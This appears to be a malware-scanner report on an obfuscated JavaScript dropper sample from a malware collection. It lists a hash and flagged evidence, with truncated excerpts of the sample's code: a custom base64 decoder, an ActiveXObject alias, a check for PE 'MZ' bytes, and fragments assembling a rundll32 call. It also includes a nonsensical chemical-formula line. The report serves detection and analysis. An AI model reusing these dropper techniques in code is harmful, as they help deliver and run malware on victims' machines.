Suspicious ^66% javascript-malware-collection Download

20161221_9c94ee506cee8f933e32be6559bd84a1.js

Obfuscated JS dropper with ActiveX, eval, base64 payloads

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2568209ee69ef719af76c053a07400394a18503c1065e21a1bd231373c506fce2b6

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikleavesFROG2XCOP = 0;	
9     var SupchikleavesRazlomSS, SupchikleavesFROG2ddDccC2, SupchikleavesFROG2c3, SupchikleavesFROG2c4;
10
11     var SupchikleavesFROG2out = "";
12
13	 var SupchikleavesFROG2Supchikleaveska= this.replace(/FROSTICK/gi, SupchikleavesFROG2out);
14 var  SupchikleavesFROG2len = SupchikleavesFROG2sud(Supch …

charCodeAt() method call lines 17–20

4… {
	 var Supchikleaveskoch = SupchikleavesFROG2Supchikleaveska.charCodeAt(SupchikleavesFROG2XCOP++) &(0x132- 0x33);
          SupchikleavesRazlomSS = levitron[Supchikleaveskoch];
      } while (SupchikleavesFROG2XCOP < SupchikleavesFRO …

Builds characters with String.fromCharCode lines 27–35

37… 2 +1== 0)
          break;
      SupchikleavesFROG2out += String['fromCharCode']((SupchikleavesRazlomSS << 2) | ((SupchikleavesFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikleavesFROG2c3 = SupchikleavesFROG2Supchikleaveska.charCodeAt(SupchikleavesFROG2XCOP++) & 0xff;
31
          if (SupchikleavesFROG2c3 == 10*6+0.5*2)
              return SupchikleavesFROG2out;
34
          Supchikle …

ActiveXObject via local alias lines 185–189

185:13… leavesFROG2d2=SupchikleavesFROG2DoUtra.pop();
186SupchikleavesFROG2fabled="Valar2Morgulis";
187 var SupchikleavesFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikleavesFROG2d2.split("45");SupchikleavesFROG2Native.SupchikleavesFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikleavesFROG2$type(a)===b})};
189Sup …

Checks array for PE magic bytes lines 257–264

67… vesTalabaev);	
if(SupchikleavesTalabaevLaa < 29989)return false;
if (SupchikleavesTalabaev[0]!= 77 || SupchikleavesTalabaev[1]!= 90)return false;		
SupchikleavesFROG2CHICKA = SupchikleavesFROG2CHICKA  + SupchikleavesFROG2SIDRENKOV;
REBEKK2(SupchikleavesFROG2CHICKA, SupchikleavesTalabaev );
262
var SupchikleavesFROG2ddsSSddSd = ",happy";
264SupchikleavesFROG2ddsSSddSd = (SupchikleavesFROG2StrokaParam2,"undl") + (SupchikleavesFROG2StrokaParam2,"l32 ") + Supchikleav …